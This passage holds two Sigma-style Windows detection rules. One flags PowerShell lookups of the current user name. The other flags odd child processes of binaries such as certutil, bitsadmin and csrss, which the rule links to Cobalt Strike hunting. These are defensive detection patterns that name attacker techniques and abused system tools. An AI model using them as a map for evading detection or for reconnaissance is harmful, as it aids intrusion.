    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script
author: frack113
date: 2022-04-04
tags:
    - attack.discovery
    - attack.t1033
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains:
            - '[System.Environment]::UserName'
            - '$env:UserName'
            - '[System.Security.Principal.WindowsIdentity]::GetCurrent()'
    condition: selection
falsepositives:
    - Legitimate PowerShell scripts
level: low

title: Suspicious Process Parents
id: cbec226f-63d9-4eca-9f52-dfb6652f24df
status: test
description: Detects suspicious parent processes that should not have any children or should only have a single possible child program
references:
    - https://twitter.com/x86matthew/status/1505476263464607744?s=12
    - https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b
author: Florian Roth (Nextron Systems)
date: 2022-03-21
modified: 2022-09-08
tags:
    - attack.stealth
    - attack.t1036
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\minesweeper.exe'
            - '\winver.exe'
            - '\bitsadmin.exe'
    selection_special:
        ParentImage|endswith:
            - '\csrss.exe'
            - '\certutil.exe'
         # - '\schtasks.exe'
            - '\eventvwr.exe'
            - '\calc.exe'
            - '\notepad.exe'
    filter_special:
        Image|endswith:
            - '\WerFault.exe'
            - '\wermgr.exe'
            - '\conhost.exe' # csrss.exe, certutil.exe
            - '\mmc.exe'     # eventvwr.exe
            - '\win32calc.exe' # calc.exe
            - '\notepad.exe'
    filter_null:
        Image: null
    condition: selection or ( selection_special and not 1 of filter_* )
falsepositives:
    - Unknown
level: high